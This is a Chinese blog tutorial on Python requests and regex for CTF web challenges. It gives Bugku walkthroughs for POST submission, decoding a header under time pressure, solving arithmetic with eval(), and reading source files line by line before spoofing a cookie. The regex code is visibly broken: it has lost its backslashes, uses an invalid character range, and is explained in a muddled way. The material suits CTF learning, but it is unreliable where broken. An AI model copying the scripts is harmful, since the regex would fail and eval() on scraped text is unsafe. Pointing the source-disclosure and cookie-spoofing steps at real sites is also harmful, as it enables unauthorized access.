• CTF-WEB:Python 爬虫应用


    Request 库

    get 方法

    Python requests 库的 get()方法非常常用,可以用于获取网页的源码等信息,该方法的语法为:

    requests.get(url, params=None, **kwargs)
    
    参数 说明
    url 拟获取页面的url链接
    params url中的额外参数,字典或字节流格式,可选
    **kwargs 12个控制访问的参数

    除了 get() 方法,常用的方法有:

    方法 说明
    requests.get() 获取 HTML 网页的主要方法,对应于 HTTP 的 GET
    requests.head() 获取 HTML 网页头信息的方法,对应于 HTTP 的 HEAD
    requests.post() 向 HTML 网页提交 POST 请求的方法,对应于 HTTP 的 POST

    Request 对象

    当我们使用 get() 方法时,就会构造一个向服务器请求资源的 Request 对象。Request 对象的作用是与客户端交互,收集客户端的 Form、Cookies、超链接,或者收集服务器端的环境变量。request 对象是从客户端向服务器发出请求,包括用户提交的信息以及客户端的一些信息。客户端可通过 HTML 表单或在网页地址后面提供参数的方法提交数据,然后服务器通过 request 对象的相关方法来获取这些数据。

    Response 对象

    Response 对象用于动态响应客户端请示,控制发送给用户的信息,并将动态生成响应。get() 方法将会返回一个包含服务器资源的 Response 对象,response 对象的属性如下:

    属性 说明
    r.status_code HTTP请求的返回状态,200表示连接成功,404表示失败
    r.text HTTP响应内容的字符串形式,即,url对应的页面内容
    r.encoding 从HTTP header中猜测的响应内容编码方式
    r.apparent_encoding 从内容分析出的响应内容编码方式(备选编码方式)
    r.content HTTP响应内容的二进制形式

    session 会话对象

    会话对象让你能够跨请求保持某些参数,它也会在同一个 Session 实例发出的所有请求之间保持 cookie。所以如果你向同一主机发送多个请求,底层的 TCP 连接将会被重用,从而带来显著的性能提升。会话也可用来为请求方法提供缺省数据,这是通过为会话对象的属性提供数据来实现的。定义一个 Session 实例语法为:

    s = requests.Session()
    

    正则匹配

    Python 支持正则表达式,使用正则表达式可以匹配所需要的数据。下面看 2 个常用的方法。

    re.match() 方法

    re.match() 方法可以从字符串的起始位置匹配一个模式,如果不是起始位置匹配成功的话 match() 就返回 none。

    re.match(pattern, string, flags=0)
    
    参数 说明
    pattern 匹配的正则表达式
    string 要匹配的字符串
    flags 标志位

    匹配成功 re.match() 方法返回一个匹配的对象,可以使用 group(num) 或 groups() 匹配对象函数来获取匹配得到表达式。

    re.search() 方法

    re.search 扫描整个字符串并返回第一个成功的匹配,匹配成功 re.search() 方法返回一个匹配的对象,否则返回 None。同样是使用 group(num) 或 groups() 匹配对象函数,来获取匹配得到表达式。

    re.search(pattern, string, flags=0)
    
    参数 说明
    pattern 匹配的正则表达式
    string 要匹配的字符串
    flags 标志位

    re.match 只匹配字符串的开始,如果字符串开始不符合正则表达式则匹配失败.而re.search 匹配整个字符串,直到找到一个匹配。

    例题:bugku-web 基础 $_POST

    题目的源码如下,需要用 POST 方法提交一个参数 what,值为 "flag"。

    $what = $_POST['what'];
    echo $what;
    if($what == 'flag')
        echo 'flag{****}';
    

    用 Python 的 requests 库的 post 方法提交一个字典上去,然后将对象输出查看。

    import requests
    
    value = {"what":"flag"}
    r = requests.post("http://123.206.87.240:8002/post/",value)
    r.text
    

    例题:bugku-速度要快

    打开网页,首先打开 F12,题目需要我们用 POST 提交一个什么东西。

    按照套路看一下响应头信息,其中有一个 flag 字段,值明显是个 base64 加密。

    拿去解密,这个应该就是需要交的东西了,不过它也是个 base64 加密后的字符串,二次解密得到 “553635”。

    使用 HackBar 用 POST 方法提交 margin 参数,但是没有得到答案?

    根据提示是我们操作得不够快,多抓几次包可以发现 flag 字段中的数据是不断在变化的。也就是说我们上传的 margin 参数需要和变化之前的 flag 值相匹配才行,若速度太慢 flag 值发生变化就无法得到答案。



    这个变化速度靠人力是做不到的,所以考虑使用 Python 爬虫。首先爬取网页获取响应头信息 headers,在 Python 中返回的是字典,使用 “flag” 为“键”可以获取该字段的值。

    接着使用 Python 自带的 base64 库使用 b64decode() 方法进行 base64 解码,截取 flag 部分进行二次解码。最后使用 post() 方法提交 margin 参数,输出返回的文本即可。

    import requests
    import base64
    
    r = requests.Session()
    headers = r.get("http://123.206.87.240:8002/web6/").headers
    str = repr(base64.b64decode(headers['flag']))
    str = base64.b64decode(str[str.find(":") + 2:])
    data= {'margin':str}
    flag = r.post("http://123.206.87.240:8002/web6/",data = data)
    print(flag.text)
    

    此处注意 2 个地方,第一是要先用 repr() 函数将对象转化为供解释器读取的形式,这样才能保证后面的代码可以处理数据。第二是需要用 requests.Session() 创建一个 session 对象,session 对象能够让我们跨 http 请求保持某些参数,即让同一个 session 对象发送的请求头携带某个指定的参数。爬虫和提交参数时,需要用同一个 session 对象来实现。

    例题:bugku-秋名山老司机

    打开题目,题目要求在 2s 之内计算出表达式的值。

    如果是人力来做的话非常困难。此时我们考虑用爬虫把网页爬下来,然后用正则表达式提取其中的表达式。

    但是怎么提交呢?继续刷新页面,得到提示用 POST 方法提交一个 value 变量。

    现在我们来写 Python 脚本,首先要用 requests.Session() 创建一个 session 对象,并且使用 get() 方法把网页爬下来。接下来进行正则表达式匹配,使用 re.search() 方法实现。匹配的正则表达式书写格式为:r 表示字符串为原始字符串("" 不认为是转义字符),“d+” 匹配一个或者多个字符,“[+-*]” 匹配加号,加号,乘号,因为式子里面包含这三种运算,"-“ 在中括号里面为特殊符号,使用”"转义,最后 “d+” 再匹配一个字符或者多个字符就满足了式子格式。当然因为这个算式是在 div
    标签中的,因此正则匹配 div 标签也可以。综上所述,匹配的正则表达式为:

    r'(d+[+-*])+(d+)'
    <div>(.*?)</div>
    

    eval() 函数用来执行一个字符串表达式,并返回表达式的值。使用 eval() 函数计算出匹配到的表达式的值之后,用 post() 方法上传。

    import requests
    import re
    
    s = requests.Session()
    r = s.get("http://123.206.87.240:8002/qiumingshan/")
    expression = re.search(r'(d+[+-*])+(d+)', r.text)
    value = eval(str(expression.group()))
    data = {"value": value}
    r = s.post("http://123.206.87.240:8002/qiumingshan/", data = data)
    print(r.text)
    

    例题:bugku-cookies 欺骗

    首先打开网页,显示了一堆没用的东西,尝试过几种解码后放弃。注意到 url 中的 filename 的值为一段 base64 编码,解码后是 “keys.txt”。

    考虑到一般情况下在 index.php 之类的文件中有源码,因此把 “index.php” 的 base64 编码结果 “aW5kZXgucGhw” 当做参数穿过去。

    怎么还是什么都没有?注意到还有个 line 参数,根据字面意义来理解这个应该是指源码的行数。将 line 设置为 1,成功返回一句源码。

    也就是说,现在要通过设置 line 参数的值,以此获取源码。由于不知道具体有几行,可以写一个 Python 脚本来获取源码的所有行。

    import requests
    
    s = requests.Session()
    for i in range(50):
        r = s.get("http://123.206.87.240:8002/web11/index.php?line="+ str(i) + "&filename=aW5kZXgucGhw")
        print(r.text)
    

    成功获得源码如下,源码中知道了还有个 key.php 可以访问,但是需要 cookie 的内容为 margin = margin时才能访问。

    <?php
    error_reporting(0);
    $file = base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    $line = isset($_GET['line'])?intval($_GET['line']):0;
    
    if($file=='')
        header("location:index.php?line=&filename=a2V5cy50eHQ=");
    $file_list = array('0' =>'keys.txt','1' =>'index.php',);
    
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
        $file_list[2]='keys.php';
    }
    
    if(in_array($file, $file_list)){
        $fa = file($file);
        echo $fa[$line];
    }
    

    此时把 filename 的参数设置为 key.php 的 base64 编码 “a2V5LnBocA==”,然后用 HackBar 传递一个 cookie 过去,打开 F12 得到 flag。

    参考资料

    菜鸟教程
    Requests: 让 HTTP 服务人类

  • 相关阅读:
    装饰器结合cookie
    day12(输出重定向)
    day13(软件包管理)
    day11(acl权限/特殊属性/su与sudo)
    day10(权限)
    day09(用户管理)
    day08(打包压缩zip和tar)
    day07 文件管理(上传与下载/字符处理命令sort/uniq/cut与tr/wc)
    day06(find命令 name/size/type)
    day05(文件的修改vi和vim/移动文件mv/删除文件rm)
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13530537.html
Copyright © 2020-2023  润新知